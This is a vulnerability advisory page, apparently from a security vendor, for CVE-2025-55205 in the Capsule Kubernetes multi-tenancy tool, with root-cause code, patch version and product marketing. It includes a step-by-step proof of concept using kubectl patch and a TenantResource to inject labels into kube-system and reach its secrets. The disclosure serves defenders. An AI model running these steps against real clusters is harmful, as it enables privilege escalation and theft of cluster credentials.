CVE-2025-55205 is a critical-severity (CVSS 9) vulnerability in github.com/projectcapsule/capsule. A fix is available for github.com/projectcapsule/capsule — see the affected versions and patch details below.
Capsule tenant owners with "patch namespace" permission can hijack system namespaces label
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-55205.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2025-55205 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/projectcapsule/capsuleReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A namespace label injection vulnerability in Capsule v0.10.3 allows authenticated tenant users to inject arbitrary labels into system namespaces (kube-system, default, capsule-system), bypassing multi-tenant isolation and potentially accessing cross-tenant resources through TenantResource selectors. This vulnerability enables privilege escalation and violates the fundamental security boundaries that Capsule is designed to enforce.
Details
The vulnerability exists in the namespace validation webhook logic located in pkg/webhook/namespace/validation/patch.go:60-77. The critical flaw is in the conditional check that only validates tenant ownership when a namespace already has a tenant label:
if label, ok := ns.Labels[ln]; ok {
// Only checks permissions when namespace has tenant label
if !utils.IsTenantOwner(tnt.Spec.Owners, req.UserInfo) {
response := admission.Denied(e)
return &response
}
}
return nil // Critical issue: allows operation if no tenant label exists
Root Cause Analysis:
- Missing Default Protection: System namespaces (kube-system, default, capsule-system) do not have the
capsule.clastix.io/tenantlabel by default - Bypass Logic: The webhook only enforces tenant ownership validation when the target namespace already belongs to a tenant
- Unrestricted Label Injection: Authenticated users can inject arbitrary labels into unprotected namespaces
Attack Vector Path:
Label Injection (user-controlled) → Namespace Selector (system matching) → TenantResource/Quota Check (authorization bypass) → Cross-tenant Resource Access
This mirrors the CVE-2024-39690 attack pattern but uses label injection instead of ownerReference manipulation:
- CVE-2024-39690:
ownerReference(user-controlled) → tenant.Status.Namespaces(system state) → quota/permission check(auth policy) → namespace hijacking - This vulnerability:
Label injection(user-controlled) → Namespace selector(system matching) → TenantResource/Quota check(auth policy) → cross-tenant resource access
PoC
Prerequisites:
- Minikube cluster with Capsule v0.10.3 installed
- Authenticated tenant user with basic RBAC permissions
Step 1: Environment Setup
# Install Minikube and Capsule
minikube start
helm repo add projectcapsule https://projectcapsule.github.io/charts
helm install capsule projectcapsule/capsule -n capsule-system --create-namespace
# Create tenant and user
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
name: tenant1
spec:
owners:
- name: alice
kind: User
EOF
# Create user certificate and kubeconfig (using provided script)
./create-user-minikube.sh alice tenant1
Step 2: Label Injection Attack
# Switch to attacker context
export KUBECONFIG=alice-tenant1.kubeconfig
# Inject malicious labels into system namespaces
kubectl patch namespace kube-system --type='json' -p='[
{
"op": "add",
"path": "/metadata/labels/malicious-label",
"value": "attack-value"
}
]'
# Verify injection success
kubectl get namespace kube-system --show-labels
Step 3: Exploitation via TenantResource
# Create attacker-controlled namespace
kubectl create namespace alice-attack
# Create malicious TenantResource targeting injected labels
cat <<EOF | kubectl apply -f -
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
name: malicious-resource
namespace: alice-attack
spec:
resyncPeriod: 60s
resources:
- namespaceSelector:
matchLabels:
malicious-label: "attack-value"
EOF
# Verify cross-tenant access
kubectl get tenantresource -n alice-attack malicious-resource -o yaml
Step 4: Verification of Impact
# Check if system namespace resources are now accessible
export KUBECONFIG=~/.kube/config
kubectl get namespaces -l "malicious-label=attack-value"
# Output shows: kube-system (and potentially other injected namespaces)
# Check for potential resource replication/access
kubectl get all -n kube-system
kubectl get secrets -n kube-system
kubectl get configmaps -n kube-system
Automated Testing Script: A complete vulnerability verification script is available that tests:
- Label injection into multiple system namespaces
- TenantResource exploitation
- Cross-tenant resource access verification
- Impact assessment and cleanup
Impact
Vulnerability Type: Authorization Bypass / Privilege Escalation
Who is Impacted:
- Multi-tenant Kubernetes clusters using Capsule v0.10.3 and potentially earlier versions
- Organizations relying on Capsule for tenant isolation and resource governance
- Cloud service providers offering Kubernetes-as-a-Service with Capsule-based multi-tenancy
Security Impact:
- Multi-tenant Isolation Bypass: Attackers can access resources from other tenants or system namespaces
- Privilege Escalation: Tenant users can gain access to cluster-wide resources and sensitive system components
- Data Exfiltration: Potential access to secrets, configmaps, and other sensitive data in system namespaces
- Resource Quota Bypass: Ability to consume resources outside assigned tenant boundaries
- Policy Circumvention: Bypass network policies, security policies, and other tenant-level restrictions
Real-world Exploitation Scenarios:
- Access to kube-system secrets containing cluster certificates and service account tokens
- Modification or replication of critical system configurations
- Cross-tenant data access in shared clusters
- Potential cluster-wide compromise through system namespace access
Severity: High - This vulnerability fundamentally breaks the multi-tenant security model that Capsule is designed to provide, allowing authenticated users to escape their tenant boundaries and access system-level resources.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/projectcapsule/capsule | all versions | 0.10.4go get github.com/projectcapsule/capsule@v0.10.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/projectcapsule/capsule, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/projectcapsule/capsule to 0.10.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-55205 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-55205 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-55205. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-55205 in your dependencies?
O3 Security finds CVE-2025-55205 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.